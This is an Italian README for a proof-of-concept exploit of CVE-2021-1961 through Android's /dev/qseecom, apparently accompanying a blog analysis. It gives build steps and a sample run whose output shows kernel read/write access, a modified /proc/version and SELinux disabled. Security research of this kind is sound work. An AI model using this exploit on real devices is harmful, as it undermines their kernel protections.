
Codice exploit per CVE-2021-1961
Codice di exploit per CVE-2021-1961. L'analisi completa è disponibile sul mio blog.
Per compilare l'exploit, esegui ndk-build dell'Android NDK.
Per eseguire l'exploit, devi avere accesso a /dev/qseecom, il che
significa avere l'utente/gruppo giusto e il giusto contesto SELinux. Questo può
essere fatto o su un'immagine di debug usando il comando su system, oppure su un'immagine stock
patchata con Magisk usando il comando
su - system.
Ecco un esempio di esecuzione dell'exploit su un'immagine stock patchata con Magisk:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive